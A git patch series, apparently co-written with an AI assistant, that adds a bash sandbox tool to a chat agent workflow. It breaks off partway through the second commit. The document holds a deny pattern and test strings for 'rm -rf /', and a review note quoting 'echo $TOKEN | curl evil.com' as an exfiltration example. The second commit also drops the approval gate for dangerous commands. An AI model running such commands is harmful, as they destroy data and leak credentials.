From 9f02899fe76d2a3cbe22d1dfc0880ab3226a6c27 Mon Sep 17 00:00:00 2001 From: Sweets Sweetman Date: Thu, 21 May 2026 12:23:58 -0500 Subject: [PATCH 1/3] feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it through the workflow via streamText's `experimental_context`. Proves the entire tool-execution machinery works end-to-end. The remaining 10 tools (read, write, grep, glob, todo, task, ask_user_question, skill, fetch + utils) port in a follow-up; this PR's scope was deliberately held to one tool so the wire-up is reviewable in isolation. New files: - lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard, getSandbox() that reconnects via connectVercel(state) per call. - lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN, RECOUP_ORG_ID } env builder from context. - lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts adapted to api's Sandbox interface. Injects recoup env on foreground execs only (detached processes outlive the prompt → no token). - lib/agent/buildAgentTools.ts — factory returning the agent's tool record. Adding the remaining tools is a one-line append to this map. Wire-up: - runAgentStep now accepts `agentContext`, passes into streamText as experimental_context, and uses streamText's internal multi-step loop (stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop in runAgentWorkflow needed. - handleChatWorkflowStream derives recoupOrgId from session.clone_url via extractOrgId, builds AgentContext with session.sandbox_state + validated.authToken, passes to start(workflow). Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory + 3 workflow file updates picked up by existing tests). Full suite 2978/2978 pass; lint clean; production build succeeds. Co-Authored-By: Claude Opus 4.7 (1M context) --- app/lib/workflows/runAgentStep.ts | 43 ++-- app/lib/workflows/runAgentWorkflow.ts | 32 ++- lib/agent/__tests__/buildAgentTools.test.ts | 17 ++ lib/agent/buildAgentTools.ts | 20 ++ lib/agent/tools/__tests__/bashTool.test.ts | 186 ++++++++++++++++++ .../__tests__/buildRecoupExecEnv.test.ts | 45 +++++ lib/agent/tools/__tests__/utils.test.ts | 55 ++++++ lib/agent/tools/bashTool.ts | 152 ++++++++++++++ lib/agent/tools/buildRecoupExecEnv.ts | 30 +++ lib/agent/tools/utils.ts | 75 +++++++ lib/chat/handleChatWorkflowStream.ts | 17 ++ 11 files changed, 643 insertions(+), 29 deletions(-) create mode 100644 lib/agent/__tests__/buildAgentTools.test.ts create mode 100644 lib/agent/buildAgentTools.ts create mode 100644 lib/agent/tools/__tests__/bashTool.test.ts create mode 100644 lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts create mode 100644 lib/agent/tools/__tests__/utils.test.ts create mode 100644 lib/agent/tools/bashTool.ts create mode 100644 lib/agent/tools/buildRecoupExecEnv.ts create mode 100644 lib/agent/tools/utils.ts diff --git a/app/lib/workflows/runAgentStep.ts b/app/lib/workflows/runAgentStep.ts index 352dcd265..57f699e46 100644 --- a/app/lib/workflows/runAgentStep.ts +++ b/app/lib/workflows/runAgentStep.ts @@ -1,27 +1,43 @@ -import { streamText, convertToModelMessages, type UIMessage, type UIMessageChunk } from "ai"; +import { + streamText, + convertToModelMessages, + stepCountIs, + type UIMessage, + type UIMessageChunk, +} from "ai"; import { gateway } from "@ai-sdk/gateway"; import { agentCustomInstructions } from "@/lib/chat/agentCustomInstructions"; +import { buildAgentTools } from "@/lib/agent/buildAgentTools"; +import type { AgentContext } from "@/lib/agent/tools/utils"; export type RunAgentStepInput = { messages: UIMessage[]; modelId: string; writable: WritableStream; + /** + * Threaded into `streamText`'s `experimental_context` so each tool's + * `execute` callback can read the sandbox state + per-prompt Recoup creds. + */ + agentContext: AgentContext; }; +const MAX_TOOL_STEPS = 25; + /** - * One LLM turn in the chat workflow agent loop. Runs as a Vercel Workflow - * `"use step"` so that: + * One LLM turn (with internal tool-call iteration) in the chat workflow. + * Runs as a Vercel Workflow `"use step"` so: * * - Sandbox-banned APIs (`fetch`, `setTimeout`, `crypto`) are legal inside. * - The result is cached as a single durable event — replays after a crash - * do not re-bill the model. + * do not re-bill the model or re-execute tools. * - * Currently emits a plain text response with no tools. Sandbox tools land in - * the follow-up PR (port `@open-harness/agent` tools + wire via - * `experimental_context`). + * `streamText` drives the tool-call → tool-result → next-LLM-call loop + * internally (up to `MAX_TOOL_STEPS` iterations). Our outer workflow stays + * single-turn for now — multi-turn message threading lands when the rest + * of the tool surface ports in a follow-up PR. * - * @param input - Messages + selected model + the workflow's writable stream. - * @returns finishReason from the model run (for the workflow loop's break condition). + * @param input - Messages + selected model + writable stream + agent context. + * @returns finishReason from the model run. */ export async function runAgentStep(input: RunAgentStepInput): Promise<{ finishReason: string }> { "use step"; @@ -29,17 +45,22 @@ export async function runAgentStep(input: RunAgentStepInput): Promise<{ finishRe console.log("[runAgentStep] start", { modelId: input.modelId, messageCount: input.messages.length, + hasSandboxState: Boolean(input.agentContext.sandbox?.state), }); const modelMessages = convertToModelMessages(input.messages); + const tools = buildAgentTools(); const result = streamText({ model: gateway(input.modelId), system: agentCustomInstructions, messages: modelMessages, + tools, + stopWhen: stepCountIs(MAX_TOOL_STEPS), + experimental_context: input.agentContext, }); - // Acquire the writer once and release in `finally` — re-acquiring per chunk - // (the previous shape) leaked the lock when any write threw. + // Acquire the writer once and release in `finally` so a thrown chunk + // doesn't leak the lock. const writer = input.writable.getWriter(); try { for await (const part of result.toUIMessageStream()) { diff --git a/app/lib/workflows/runAgentWorkflow.ts b/app/lib/workflows/runAgentWorkflow.ts index db679145a..4206eec4c 100644 --- a/app/lib/workflows/runAgentWorkflow.ts +++ b/app/lib/workflows/runAgentWorkflow.ts @@ -1,12 +1,18 @@ import { getWritable } from "workflow"; import type { UIMessage, UIMessageChunk } from "ai"; import { runAgentStep } from "@/app/lib/workflows/runAgentStep"; +import type { AgentContext } from "@/lib/agent/tools/utils"; export type RunAgentWorkflowInput = { messages: UIMessage[]; chatId: string; sessionId: string; modelId: string; + /** + * Threaded into `streamText`'s `experimental_context` so tools (bash et al.) + * can read sandbox state + per-prompt Recoup creds. + */ + agentContext: AgentContext; }; /** @@ -15,18 +21,14 @@ export type RunAgentWorkflowInput = { * client; this function writes UIMessage chunks into the workflow's writable * via `runAgentStep`. * - * Currently runs a SINGLE `runAgentStep` turn. A multi-turn agent loop is - * unsafe today: each iteration would re-send the original prompt without - * the assistant's tool-call response in scope, so a `tool-calls` finish - * reason would loop forever on the same input. The proper multi-turn - * shape (where the step appends its response to `messages` before the - * next iteration) lands with the sandbox-tool port in PR 4. - * - * Until then, if the model returns `tool-calls` we log a warning and exit - * — the client receives the partial tool-call chunks but no follow-up turn. + * Currently runs a SINGLE `runAgentStep` turn. Tool-call iteration (up to + * MAX_TOOL_STEPS) happens INSIDE `streamText` via `stopWhen` — so the + * single workflow turn covers the full "user → assistant → tool → tool + * result → assistant" cycle without our outer loop having to thread + * messages between iterations. * * WDK constraints honored: - * - All I/O (streamText, fetches) lives in `"use step"` functions. + * - All I/O (streamText, sandbox.exec, fetches) lives in `"use step"` functions. * - The workflow body only orchestrates — no fetch / setTimeout / fs / crypto. */ export async function runAgentWorkflow(input: RunAgentWorkflowInput): Promise { @@ -43,14 +45,8 @@ export async function runAgentWorkflow(input: RunAgentWorkflowInput): Promise { + it("returns a tools record keyed by tool name", () => { + const tools = buildAgentTools(); + expect(tools).toHaveProperty("bash"); + expect(typeof tools.bash).toBe("object"); + }); + + it("each tool has an inputSchema, description, and execute", () => { + const tools = buildAgentTools(); + expect(tools.bash.inputSchema).toBeDefined(); + expect(tools.bash.description).toBeDefined(); + expect(typeof tools.bash.execute).toBe("function"); + }); +}); diff --git a/lib/agent/buildAgentTools.ts b/lib/agent/buildAgentTools.ts new file mode 100644 index 000000000..be6bde085 --- /dev/null +++ b/lib/agent/buildAgentTools.ts @@ -0,0 +1,20 @@ +import { bashTool } from "@/lib/agent/tools/bashTool"; + +/** + * Factory for the full agent tool set passed into `streamText({ tools })`. + * Each tool reads its sandbox handle + recoup creds from `experimental_context` + * at execute time — the factory takes no arguments because the tools are + * stateless modulo that context. + * + * Slim PR 4 exposes only `bash`. The remaining sandbox tools (`read`, + * `write`, `grep`, `glob`, `todo`, `task`, `ask_user_question`, `skill`, + * `fetch`) port in follow-up PRs and slot into this record one-by-one + * without changing the factory signature. + */ +export function buildAgentTools() { + return { + bash: bashTool(), + }; +} + +export type AgentTools = ReturnType; diff --git a/lib/agent/tools/__tests__/bashTool.test.ts b/lib/agent/tools/__tests__/bashTool.test.ts new file mode 100644 index 000000000..c33a948ff --- /dev/null +++ b/lib/agent/tools/__tests__/bashTool.test.ts @@ -0,0 +1,186 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { bashTool, commandNeedsApproval } from "@/lib/agent/tools/bashTool"; + +import { connectVercel } from "@/lib/sandbox/vercel/connect/connectVercel"; + +vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({ + connectVercel: vi.fn(), +})); + +const baseContext = { + sandbox: { state: { sandboxName: "session-x" }, workingDirectory: "/sandbox/mono" }, +}; + +function makeSandbox(overrides: Record = {}) { + return { + workingDirectory: "/sandbox/mono", + exec: vi.fn(), + execDetached: vi.fn(), + ...overrides, + }; +} + +beforeEach(() => vi.clearAllMocks()); + +describe("commandNeedsApproval", () => { + it("flags `rm -rf` as needing approval", () => { + expect(commandNeedsApproval("rm -rf /")).toBe(true); + expect(commandNeedsApproval("rm -rf node_modules")).toBe(true); + }); + + it("does not flag safe commands", () => { + expect(commandNeedsApproval("ls -la")).toBe(false); + expect(commandNeedsApproval("git status")).toBe(false); + expect(commandNeedsApproval("npm install")).toBe(false); + }); + + it("trims whitespace before matching", () => { + expect(commandNeedsApproval(" rm -rf foo ")).toBe(true); + }); +}); + +describe("bashTool.execute", () => { + it("executes a command via sandbox.exec in the sandbox's working directory", async () => { + const sandbox = makeSandbox({ + exec: vi.fn().mockResolvedValue({ + success: true, + exitCode: 0, + stdout: "README.md\npackage.json", + stderr: "", + truncated: false, + }), + }); + vi.mocked(connectVercel).mockResolvedValue(sandbox as never); + + const tool = bashTool(); + const result = await tool.execute!({ command: "ls" }, { + experimental_context: baseContext, + } as never); + expect(result).toEqual({ + success: true, + exitCode: 0, + stdout: "README.md\npackage.json", + stderr: "", + }); + expect(sandbox.exec).toHaveBeenCalledWith( + "ls", + "/sandbox/mono", + expect.any(Number), + expect.any(Object), + ); + }); + + it("includes `truncated: true` in the result when sandbox.exec truncated output", async () => { + const sandbox = makeSandbox({ + exec: vi.fn().mockResolvedValue({ + success: true, + exitCode: 0, + stdout: "lots of output", + stderr: "", + truncated: true, + }), + }); + vi.mocked(connectVercel).mockResolvedValue(sandbox as never); + + const tool = bashTool(); + const result = (await tool.execute!({ command: "find ." }, { + experimental_context: baseContext, + } as never)) as { truncated?: boolean }; + expect(result.truncated).toBe(true); + }); + + it("resolves a workspace-relative cwd against sandbox.workingDirectory", async () => { + const sandbox = makeSandbox({ + exec: vi.fn().mockResolvedValue({ + success: true, + exitCode: 0, + stdout: "", + stderr: "", + truncated: false, + }), + }); + vi.mocked(connectVercel).mockResolvedValue(sandbox as never); + + const tool = bashTool(); + await tool.execute!({ command: "ls", cwd: "apps/web" }, { + experimental_context: baseContext, + } as never); + expect(sandbox.exec).toHaveBeenCalledWith( + "ls", + "/sandbox/mono/apps/web", + expect.any(Number), + expect.any(Object), + ); + }); + + it("injects RECOUP_ACCESS_TOKEN + RECOUP_ORG_ID into the exec env when present in context", async () => { + const sandbox = makeSandbox({ + exec: vi.fn().mockResolvedValue({ + success: true, + exitCode: 0, + stdout: "", + stderr: "", + truncated: false, + }), + }); + vi.mocked(connectVercel).mockResolvedValue(sandbox as never); + + const tool = bashTool(); + await tool.execute!({ command: "curl example.com" }, { + experimental_context: { + ...baseContext, + recoupAccessToken: "rk_abc", + recoupOrgId: "org-uuid", + }, + } as never); + const opts = sandbox.exec.mock.calls[0]?.[3] as { env?: Record }; + expect(opts.env).toEqual({ + RECOUP_ACCESS_TOKEN: "rk_abc", + RECOUP_ORG_ID: "org-uuid", + }); + }); + + it("returns the detached commandId when called with detached:true", async () => { + const sandbox = makeSandbox({ + execDetached: vi.fn().mockResolvedValue({ commandId: "cmd-123" }), + }); + vi.mocked(connectVercel).mockResolvedValue(sandbox as never); + + const tool = bashTool(); + const result = (await tool.execute!({ command: "npm run dev", detached: true }, { + experimental_context: baseContext, + } as never)) as { success: boolean; stdout: string }; + expect(result.success).toBe(true); + expect(result.stdout).toMatch(/cmd-123/); + expect(sandbox.execDetached).toHaveBeenCalledWith("npm run dev", "/sandbox/mono"); + }); + + it("returns success:false with a descriptive stderr when the sandbox lacks execDetached", async () => { + const sandbox = makeSandbox({ execDetached: undefined }); + vi.mocked(connectVercel).mockResolvedValue(sandbox as never); + + const tool = bashTool(); + const result = (await tool.execute!({ command: "npm run dev", detached: true }, { + experimental_context: baseContext, + } as never)) as { success: boolean; stderr: string }; + expect(result.success).toBe(false); + expect(result.stderr).toMatch(/detached mode is not supported/i); + }); + + it("does NOT inject RECOUP env vars on detached execs (token is per-prompt only)", async () => { + const sandbox = makeSandbox({ + execDetached: vi.fn().mockResolvedValue({ commandId: "cmd-1" }), + }); + vi.mocked(connectVercel).mockResolvedValue(sandbox as never); + + const tool = bashTool(); + await tool.execute!({ command: "npm run dev", detached: true }, { + experimental_context: { + ...baseContext, + recoupAccessToken: "rk_abc", + }, + } as never); + // execDetached signature is (command, cwd) — no env arg. + expect(sandbox.execDetached.mock.calls[0]).toHaveLength(2); + }); +}); diff --git a/lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts b/lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts new file mode 100644 index 000000000..b52e961f1 --- /dev/null +++ b/lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts @@ -0,0 +1,45 @@ +import { describe, it, expect } from "vitest"; +import { buildRecoupExecEnv } from "@/lib/agent/tools/buildRecoupExecEnv"; + +describe("buildRecoupExecEnv", () => { + it("returns undefined when neither token nor orgId is in context", () => { + expect(buildRecoupExecEnv(undefined)).toBeUndefined(); + expect(buildRecoupExecEnv({ sandbox: { state: {}, workingDirectory: "/x" } })).toBeUndefined(); + }); + + it("injects RECOUP_ACCESS_TOKEN when present", () => { + const env = buildRecoupExecEnv({ + sandbox: { state: {}, workingDirectory: "/x" }, + recoupAccessToken: "rk_abc", + }); + expect(env).toEqual({ RECOUP_ACCESS_TOKEN: "rk_abc" }); + }); + + it("injects RECOUP_ORG_ID when present", () => { + const env = buildRecoupExecEnv({ + sandbox: { state: {}, workingDirectory: "/x" }, + recoupOrgId: "org-uuid", + }); + expect(env).toEqual({ RECOUP_ORG_ID: "org-uuid" }); + }); + + it("injects both when both present", () => { + const env = buildRecoupExecEnv({ + sandbox: { state: {}, workingDirectory: "/x" }, + recoupAccessToken: "rk_abc", + recoupOrgId: "org-uuid", + }); + expect(env).toEqual({ + RECOUP_ACCESS_TOKEN: "rk_abc", + RECOUP_ORG_ID: "org-uuid", + }); + }); + + it("ignores empty-string token (avoids injecting `RECOUP_ACCESS_TOKEN=`)", () => { + const env = buildRecoupExecEnv({ + sandbox: { state: {}, workingDirectory: "/x" }, + recoupAccessToken: "", + }); + expect(env).toBeUndefined(); + }); +}); diff --git a/lib/agent/tools/__tests__/utils.test.ts b/lib/agent/tools/__tests__/utils.test.ts new file mode 100644 index 000000000..9ffd9875a --- /dev/null +++ b/lib/agent/tools/__tests__/utils.test.ts @@ -0,0 +1,55 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { isAgentContext, getSandbox } from "@/lib/agent/tools/utils"; + +import { connectVercel } from "@/lib/sandbox/vercel/connect/connectVercel"; + +vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({ + connectVercel: vi.fn(), +})); + +beforeEach(() => vi.clearAllMocks()); + +describe("isAgentContext", () => { + it("returns true for a well-formed agent context", () => { + expect( + isAgentContext({ + sandbox: { state: {}, workingDirectory: "/sandbox/mono" }, + }), + ).toBe(true); + }); + + it("returns false for non-object inputs", () => { + expect(isAgentContext(undefined)).toBe(false); + expect(isAgentContext(null)).toBe(false); + expect(isAgentContext("nope")).toBe(false); + expect(isAgentContext(42)).toBe(false); + }); + + it("returns false when `sandbox` is missing", () => { + expect(isAgentContext({ model: {} })).toBe(false); + }); +}); + +describe("getSandbox", () => { + it("reconnects via connectVercel(state) and returns the sandbox", async () => { + const fakeSandbox = { workingDirectory: "/sandbox/mono" }; + vi.mocked(connectVercel).mockResolvedValue(fakeSandbox as never); + const state = { sandboxName: "session-xyz" }; + const result = await getSandbox( + { sandbox: { state, workingDirectory: "/sandbox/mono" } }, + "bash", + ); + expect(result).toBe(fakeSandbox); + expect(connectVercel).toHaveBeenCalledWith(state); + }); + + it("throws a descriptive error when context is missing", async () => { + await expect(getSandbox(undefined, "bash")).rejects.toThrow(/Sandbox state missing/); + }); + + it("throws when context.sandbox.state is missing", async () => { + await expect( + getSandbox({ sandbox: { workingDirectory: "/x" } } as never, "bash"), + ).rejects.toThrow(/Sandbox state missing/); + }); +}); diff --git a/lib/agent/tools/bashTool.ts b/lib/agent/tools/bashTool.ts new file mode 100644 index 000000000..c5fad4178 --- /dev/null +++ b/lib/agent/tools/bashTool.ts @@ -0,0 +1,152 @@ +import { tool } from "ai"; +import { z } from "zod"; +import * as path from "path"; +import { buildRecoupExecEnv } from "@/lib/agent/tools/buildRecoupExecEnv"; +import { getSandbox } from "@/lib/agent/tools/utils"; + +const TIMEOUT_MS = 120_000; + +const bashInputSchema = z.object({ + command: z.string().describe("The bash command to execute"), + cwd: z + .string() + .optional() + .describe("Workspace-relative working directory for the command (e.g., apps/web)"), + detached: z + .boolean() + .optional() + .describe( + "Use this whenever you want to run a persistent server in the background (e.g., npm run dev, next dev). The command starts and returns immediately without waiting for it to finish.", + ), +}); + +type BashInput = z.infer; +type ApprovalFn = (args: BashInput) => boolean | Promise; + +export interface BashToolOptions { + /** + * Override the default "approve only dangerous commands" gate. Pass `true` + * to require approval for every bash call, `false` to suppress approval + * entirely, or a predicate that receives the resolved args. + */ + needsApproval?: boolean | ApprovalFn; +} + +const DANGEROUS_COMMAND_PATTERNS = [/\brm\s+-rf\b/]; + +/** + * Returns true when a command matches the built-in dangerous-pattern list + * and should always trigger the approval gate. + * + * @param command - The raw command string from the model. + */ +export function commandNeedsApproval(command: string): boolean { + const trimmed = command.trim(); + return DANGEROUS_COMMAND_PATTERNS.some(pattern => pattern.test(trimmed)); +} + +/** + * Factory for the `bash` sandbox tool. Runs `bash -c ""` inside + * the agent's sandbox via `sandbox.exec`, defaulting cwd to the sandbox's + * working directory. + * + * Foreground execs inject `RECOUP_ACCESS_TOKEN` + `RECOUP_ORG_ID` env vars + * from agent context so outbound HTTP from the sandbox can authenticate as + * the calling user for the prompt's lifetime. Detached execs (`detached: true`) + * deliberately skip those injections — the process outlives the prompt and + * must authenticate via its own mechanism. + * + * @param options - Optional approval-gate override. + */ +export const bashTool = (options?: BashToolOptions) => + tool({ + description: `Execute a bash command in the user's shell (non-interactive). + +WHEN TO USE: +- Running existing project commands (build, test, lint, typecheck) +- Using read-only CLI tools (git status, git diff, ls, etc.) +- Invoking language/package managers (npm, pnpm, yarn, pip, go, etc.) as part of the task + +WHEN NOT TO USE: +- Reading files (use the file read tool instead, once available) +- Editing or creating files (use file edit/write tools, once available) +- Searching code or text (use grep / glob tools, once available) +- Interactive commands (shells, editors, REPLs) + +USAGE: +- Runs bash -c "" in a non-interactive shell (no TTY/PTY) +- Commands run in the sandbox working directory by default — do NOT prepend "cd /path &&" +- Use the cwd parameter ONLY with a workspace-relative subdirectory +- Commands automatically timeout after ~2 minutes +- Combined stdout/stderr output is truncated after ~50,000 characters + +IMPORTANT: +- Never chain commands with ';' or '&&' — use separate tool calls +- Never use interactive commands (vim, nano, top, bash, ssh, etc.) +- Always quote file paths that may contain spaces +- Use detached: true to start dev servers / long-running processes in the background`, + inputSchema: bashInputSchema, + needsApproval: async args => { + if (commandNeedsApproval(args.command)) { + if (typeof options?.needsApproval === "function") { + return options.needsApproval(args); + } + return options?.needsApproval ?? true; + } + return false; + }, + execute: async ({ command, cwd, detached }, { experimental_context, abortSignal }) => { + const sandbox = await getSandbox(experimental_context, "bash"); + const workingDirectory = sandbox.workingDirectory; + const workingDir = cwd + ? path.isAbsolute(cwd) + ? cwd + : path.resolve(workingDirectory, cwd) + : workingDirectory; + + if (detached) { + if (!sandbox.execDetached) { + return { + success: false, + exitCode: null, + stdout: "", + stderr: + "Detached mode is not supported in this sandbox environment. Only cloud sandboxes support background processes.", + }; + } + try { + // Detached processes outlive the prompt; deliberately do NOT inject + // RECOUP_ACCESS_TOKEN since the token is scoped to foreground execs + // whose lifetime matches the prompt. + const { commandId } = await sandbox.execDetached(command, workingDir); + return { + success: true, + exitCode: null, + stdout: `Process started in background (command ID: ${commandId}). The server is now running.`, + stderr: "", + }; + } catch (error) { + return { + success: false, + exitCode: null, + stdout: "", + stderr: error instanceof Error ? error.message : String(error), + }; + } + } + + const recoupEnv = buildRecoupExecEnv(experimental_context); + const result = await sandbox.exec(command, workingDir, TIMEOUT_MS, { + signal: abortSignal, + ...(recoupEnv ? { env: recoupEnv } : {}), + }); + + return { + success: result.success, + exitCode: result.exitCode, + stdout: result.stdout, + stderr: result.stderr, + ...(result.truncated && { truncated: true }), + }; + }, + }); diff --git a/lib/agent/tools/buildRecoupExecEnv.ts b/lib/agent/tools/buildRecoupExecEnv.ts new file mode 100644 index 000000000..e72f80771 --- /dev/null +++ b/lib/agent/tools/buildRecoupExecEnv.ts @@ -0,0 +1,30 @@ +import { isAgentContext } from "@/lib/agent/tools/utils"; + +/** + * Build a per-invocation env override carrying Recoupable sandbox context — + * access token and (when the sandbox was opened against an org repo) the + * org UUID — so outbound shell commands (curl, scripts, the `recoup-api` + * skill) can authenticate and scope requests without any credential or + * org state persisting on the sandbox. + * + * Returns `undefined` when nothing is available to inject so callers can + * cleanly spread a conditional `...(env ? { env } : {})` into exec opts. + * + * @param experimental_context - The opaque context object passed by AI SDK to tool execute. + */ +export function buildRecoupExecEnv( + experimental_context: unknown, +): Record | undefined { + const context = isAgentContext(experimental_context) ? experimental_context : undefined; + if (!context) return undefined; + + const env: Record = {}; + if (context.recoupAccessToken) { + env.RECOUP_ACCESS_TOKEN = context.recoupAccessToken; + } + if (context.recoupOrgId) { + env.RECOUP_ORG_ID = context.recoupOrgId; + } + + return Object.keys(env).length > 0 ? env : undefined; +} diff --git a/lib/agent/tools/utils.ts b/lib/agent/tools/utils.ts new file mode 100644 index 000000000..9982084a5 --- /dev/null +++ b/lib/agent/tools/utils.ts @@ -0,0 +1,75 @@ +import type { Sandbox } from "@/lib/sandbox/interface"; +import type { VercelState } from "@/lib/sandbox/vercel/state"; +import { connectVercel } from "@/lib/sandbox/vercel/connect/connectVercel"; + +/** + * Per-tool-call context threaded into the agent via `streamText`'s + * `experimental_context`. Mirrors the open-agents `AgentContext` shape + * (subset — slim PR 4 only ports `bash`, so context only needs what + * the bash tool reads). + */ +export type AgentContext = { + /** + * Persistable sandbox state. Tools reconnect via `connectVercel(state)` — + * we never pass a live `Sandbox` instance through context because + * workflow durability requires replay-friendly inputs. + */ + sandbox: { + state: VercelState; + workingDirectory: string; + currentBranch?: string; + }; + /** + * Per-prompt access token for the Recoup API. Forwarded to sandboxed + * commands as `RECOUP_ACCESS_TOKEN` so skills (`recoup-api`) and ad-hoc + * curls can authenticate as the calling user for the prompt's lifetime. + */ + recoupAccessToken?: string; + /** + * Organization UUID when the sandbox was opened against a recoupable + * org repo (`org--`). Forwarded as `RECOUP_ORG_ID` so + * `recoup-api` skill calls scope to that org. + */ + recoupOrgId?: string; +}; + +/** + * Type-guard that confirms an arbitrary `experimental_context` shape + * has the AgentContext fields we rely on. Falsy guards on missing + * fields keep tool error messages precise instead of throwing + * "cannot read .x of undefined". + */ +export function isAgentContext(value: unknown): value is AgentContext { + return ( + typeof value === "object" && + value !== null && + "sandbox" in value && + typeof (value as { sandbox: unknown }).sandbox === "object" + ); +} + +/** + * Resolve a connected `Sandbox` instance from `experimental_context`. + * Reconnects each call via `connectVercel(state)` rather than caching the + * handle on context — workflow durability requires that side-effecting + * resources (sandbox sessions) be re-acquired inside the step that uses + * them, not passed across event boundaries. + * + * @param experimental_context - The opaque context object passed by AI SDK to tool execute. + * @param toolName - Optional tool name to surface in error messages. + */ +export async function getSandbox( + experimental_context: unknown, + toolName?: string, +): Promise { + const context = isAgentContext(experimental_context) ? experimental_context : undefined; + if (!context?.sandbox?.state) { + const where = toolName ? ` (tool: ${toolName})` : ""; + throw new Error( + `Sandbox state missing from agent context${where}. ` + + "Ensure the workflow start payload includes `sandbox.state` and that " + + "runAgentStep threads it via experimental_context.", + ); + } + return connectVercel(context.sandbox.state); +} diff --git a/lib/chat/handleChatWorkflowStream.ts b/lib/chat/handleChatWorkflowStream.ts index dcaad8585..9019da195 100644 --- a/lib/chat/handleChatWorkflowStream.ts +++ b/lib/chat/handleChatWorkflowStream.ts @@ -13,6 +13,9 @@ import { persistLatestUserMessage } from "@/lib/chat/persistLatestUserMessage"; import { errorResponse } from "@/lib/networking/errorResponse"; import { getCorsHeaders } from "@/lib/networking/getCorsHeaders"; import { runAgentWorkflow } from "@/app/lib/workflows/runAgentWorkflow"; +import { extractOrgId } from "@/lib/recoupable/extractOrgId"; +import { DEFAULT_WORKING_DIRECTORY } from "@/lib/sandbox/vercel/sandbox/constants"; +import type { VercelState } from "@/lib/sandbox/vercel/state"; import generateUUID from "@/lib/uuid/generateUUID"; const DEFAULT_MODEL_ID = "anthropic/claude-haiku-4.5"; @@ -84,12 +87,26 @@ export async function handleChatWorkflowStream(request: NextRequest): Promise Date: Thu, 21 May 2026 12:50:20 -0500 Subject: [PATCH 2/3] =?UTF-8?q?refactor(chat-workflow):=20address=20PR=205?= =?UTF-8?q?83=20review=20=E2=80=94=20KISS/SRP=20+=20drop=20token=20exposur?= =?UTF-8?q?e?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Sweetman KISS/SRP feedback (4 comments): - Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's default stop condition handles tool-call iteration without an arbitrary cap that could silently truncate the only workflow turn. - Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from bashTool. All model-issued commands are trusted in this PR — host- side gating belongs at the route/UI layer if it ever returns. - Removed `needsApproval` from bashTool entirely (subsumes cubic P1 about the broken override ordering — the gate itself is gone). - Split `lib/agent/tools/utils.ts` into per-function files: - `AgentContext.ts` — type - `isAgentContext.ts` — guard - `getSandbox.ts` — sandbox reconnection No catch-all utils file. Cubic feedback: - **P0**: Removed `recoupAccessToken` from AgentContext + handler + buildRecoupExecEnv. Handing the long-lived api key to bash would let any model-issued command exfiltrate it via env (`echo $TOKEN | curl evil.com`). Slim PR 4 has no actual consumer for the token — only the future `skill` tool needs it. Proper short-lived token minting will land alongside that port. - **P2** (`isAgentContext` too weak): tightened the guard to validate sandbox.state is a non-null object AND sandbox.workingDirectory is a non-empty string. Earlier guard returned true for `{ sandbox: {} }`, letting tools later crash on undefined fields. - P1 + P2 about stopWhen / needsApproval: resolved by sweetman's deletions above. - P2 (test file >100 lines): dismissed — same as PR 3 review. The repo has no enforced max-lines rule; existing tests routinely exceed 700 lines. Tests updated for the new shape. 25 tests in touched files green (8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv + 2 factory). Full suite 2980/2980 pass; lint clean; production build succeeds. Co-Authored-By: Claude Opus 4.7 (1M context) --- app/lib/workflows/runAgentStep.ts | 17 +---- app/lib/workflows/runAgentWorkflow.ts | 2 +- lib/agent/tools/AgentContext.ts | 34 +++++++++ lib/agent/tools/__tests__/bashTool.test.ts | 40 ++-------- .../__tests__/buildRecoupExecEnv.test.ts | 44 ++++------- .../{utils.test.ts => getSandbox.test.ts} | 34 +++------ .../tools/__tests__/isAgentContext.test.ts | 42 +++++++++++ lib/agent/tools/bashTool.ts | 54 +++---------- lib/agent/tools/buildRecoupExecEnv.ts | 26 +++---- lib/agent/tools/getSandbox.ts | 28 +++++++ lib/agent/tools/isAgentContext.ts | 26 +++++++ lib/agent/tools/utils.ts | 75 ------------------- lib/chat/handleChatWorkflowStream.ts | 5 +- 13 files changed, 191 insertions(+), 236 deletions(-) create mode 100644 lib/agent/tools/AgentContext.ts rename lib/agent/tools/__tests__/{utils.test.ts => getSandbox.test.ts} (56%) create mode 100644 lib/agent/tools/__tests__/isAgentContext.test.ts create mode 100644 lib/agent/tools/getSandbox.ts create mode 100644 lib/agent/tools/isAgentContext.ts delete mode 100644 lib/agent/tools/utils.ts diff --git a/app/lib/workflows/runAgentStep.ts b/app/lib/workflows/runAgentStep.ts index 57f699e46..9edd2ab8e 100644 --- a/app/lib/workflows/runAgentStep.ts +++ b/app/lib/workflows/runAgentStep.ts @@ -1,14 +1,8 @@ -import { - streamText, - convertToModelMessages, - stepCountIs, - type UIMessage, - type UIMessageChunk, -} from "ai"; +import { streamText, convertToModelMessages, type UIMessage, type UIMessageChunk } from "ai"; import { gateway } from "@ai-sdk/gateway"; import { agentCustomInstructions } from "@/lib/chat/agentCustomInstructions"; import { buildAgentTools } from "@/lib/agent/buildAgentTools"; -import type { AgentContext } from "@/lib/agent/tools/utils"; +import type { AgentContext } from "@/lib/agent/tools/AgentContext"; export type RunAgentStepInput = { messages: UIMessage[]; @@ -16,13 +10,11 @@ export type RunAgentStepInput = { writable: WritableStream; /** * Threaded into `streamText`'s `experimental_context` so each tool's - * `execute` callback can read the sandbox state + per-prompt Recoup creds. + * `execute` callback can read the sandbox state + per-prompt context. 